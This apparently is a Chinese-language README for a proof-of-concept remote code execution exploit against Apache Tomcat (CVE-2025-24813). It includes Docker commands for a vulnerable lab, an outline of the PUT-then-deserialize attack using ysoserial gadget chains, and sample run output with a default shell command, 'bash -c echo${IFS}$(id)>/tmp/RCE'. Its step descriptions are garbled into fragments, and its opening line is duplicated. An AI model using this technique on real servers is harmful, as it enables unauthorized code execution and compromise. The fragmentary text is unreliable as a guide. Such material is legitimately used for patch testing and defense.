
针对 Apache Tomcat 中漏洞 CVE-2025-24813 的概念验证(PoC)脚本。
针对 Apache Tomcat 中 CVE-2025-24813 漏洞的概念验证 (PoC) 脚本。
该脚本基于相关链接进行了修改,并根据我的需求进行了调整。
提供的环境基于官方 Tomcat 9.0.90 镜像。它移除了服务器的只读限制,并配置其将会话数据保存到磁盘。然后,通过将 ROOT.war 文件复制到 Tomcat 的 webapps/ 目录,自动部署应用程序。
docker build -t cve-2025-24813 .
docker run --name cve-2025-24813 -it -d -p 8080:8080 cve-2025-24813
Content-Range 头部的 check.txt 文件,验证服务器是否接受 PUT 请求。ysoserial 为所需的命令生成 payload。JSESSIONID 的 GET 请求,触发反序列化。$ python3 cve_2025_24813.py
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██╗ ██╗ █████╗ ██╗██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗██║ ██║██╔══██╗███║╚════██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗ █████╔╝███████║╚█████╔╝╚██║ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ╚════██║██╔══██╗ ██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ███████╗ ██║╚█████╔╝ ██║██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚══════╝ ╚═╝ ╚════╝ ╚═╝╚═════╝
--- Apache Tomcat Remote Code Execution PoC by Hakan Karabacak ---
Enter target URL (e.g., http://target.com:8080): http://target.com:8080
Enter command to execute (default: bash -c echo${IFS}$(id)>/tmp/RCE):
Enter path to ysoserial.jar (default: ysoserial.jar):
Enter ysoserial gadget chain (default: CommonsCollections6):
[*] Session ID: hk1337
[+] Server is writable via PUT: http://target.com:8080/check.txt
[*] Generating ysoserial payload for command: bash -c echo${IFS}$(id)>/tmp/RCE
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://target.com:8080/hk1337.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://target.com:8080 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser